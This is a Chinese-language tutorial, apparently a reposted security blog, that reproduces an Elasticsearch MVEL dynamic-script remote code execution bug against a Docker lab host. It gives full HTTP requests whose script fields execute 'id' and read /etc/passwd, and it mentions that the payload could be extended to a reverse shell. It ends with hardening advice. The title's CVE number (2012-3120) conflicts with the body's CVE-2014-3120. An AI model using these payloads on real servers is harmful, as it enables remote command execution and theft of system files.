ElasticSearch命令执行漏洞之CVE-2012-3120

admin 2022年4月26日15:33:16评论5 views字数 3207阅读10分41秒阅读模式

 一、ElasticSearch简介

ElasticSearch 是一款Java编写的分布式多用户能力的企业级全文搜索服务,启动此服务默认会开放HTTP-9200端口,如存在相关漏洞,可被攻击者非法操作数据。

Elasticsearch是面向文档型数据库,一条数据在这里就是一个文档,用JSON作为文档序列化的格式

{ "name" : "kali", "sex" : "Male", "age" : 25, "birthDate": "2021/05/01","about" : "I like reding book","interests": [ "sports", "music" ]}

二、主要漏洞以及影响版本

1、CVE-2014-3120 MVEL脚本命令执行漏洞

elasticsearch v1.2之前的版本存在漏洞,1.2之后默认关闭了动态脚本调用

2、CVE-2015-1427 Groovy脚本代码执行漏洞

elasticsearch 1.3.7、elasticsearch 1.4.0-1.4.2(包含)

3、CVE-2015-3337 elasticsearch-head插件任意文件读取漏洞

elasticsearch 1.4.4 、elasticsearch 1.5.0-1.5.1(包含)

4、CVE-2015-5531目录遍历漏洞

elasticsearch v1.0.0-v1.6.0(包含)

三、漏洞危害及常见攻击方式

1、获取服务器的权限

CVE-2015-1427   Groovy脚本代码执行漏洞

2、读取服务器的敏感文件

CVE-2015-5531  目录遍历漏洞

CVE-2015-3337  elasticsearch-Head插件任意文件读取漏洞

四、漏洞环境搭建

存在elasticsearch漏洞的服务器:192.168.4.128

攻击机(kali):192.168.4.157

工具:firefox、burpsuite

1、首先使用sudo docker-compose  up -d   开启漏洞环境

ElasticSearch命令执行漏洞之CVE-2012-3120

2.使用  sudo docker ps查看docker下的进程,查看该漏洞是否正常开启

ElasticSearch命令执行漏洞之CVE-2012-3120

 3.进入kali,打开firefox

访问192.168.4.128:9200

ElasticSearch命令执行漏洞之CVE-2012-3120

 这时候开启浏览器代理,将流量代理到burpsuite上,进行流量拦截,再次发送请求

ElasticSearch命令执行漏洞之CVE-2012-3120

 该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据

POST /website/blog/ HTTP/1.1

Host: 192.168.4.128:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 16

{"name":"ceshi"}

ElasticSearch命令执行漏洞之CVE-2012-3120

 设置payload,执行代码,

POST /_search?pretty HTTP/1.1

Host: 192.168.4.128:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 434

{  

"size": 1,   

 "query": {      

    "filtered": {        

                "query": {          

                    "match_all": {     

                                                 }     

                                   }

                            }

                    },    

                "script_fields": {

                        "command": {           

"script":

"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"      

                                              }

                                             }

}

ElasticSearch命令执行漏洞之CVE-2012-3120

 我们设置payload,让其回显服务器的/etc/passwd的信息

POST /_search?pretty HTTP/1.1

Host: 192.168.4.128:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 409

{  

"size": 1,   

 "query": {      

    "filtered": {        

                "query": {          

                    "match_all": {     

                                                 }     

                                   }

                            }

                    },    

                "script_fields": {

                        "command": {           

"script":

"import java.io.*;new java.util.Scanner(new  File("/etc/passwd")).useDelimiter("\\A").next();"      

                                              }

                                             }

}
ElasticSearch命令执行漏洞之CVE-2012-3120
复现到这里了,如果对payload再修改修改,可以将目标服务器的bash反弹到本机,以达到远程操控远程服务器的目的

五、安全建议

1、elaticsearch禁止向外网开放;

2、业务需要外网开放的,增加严格权限验证;

3、关注官网动态,使用最新版本;

4、elasticsearch在启动的时候以非root用户启动

elasticsearch漏洞还没有复现完,明天继续。。。。。。

原文始发于微信公众号(红豆芷浠):ElasticSearch命令执行漏洞之CVE-2012-3120

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日15:33:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ElasticSearch命令执行漏洞之CVE-2012-3120https://cn-sec.com/archives/947208.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息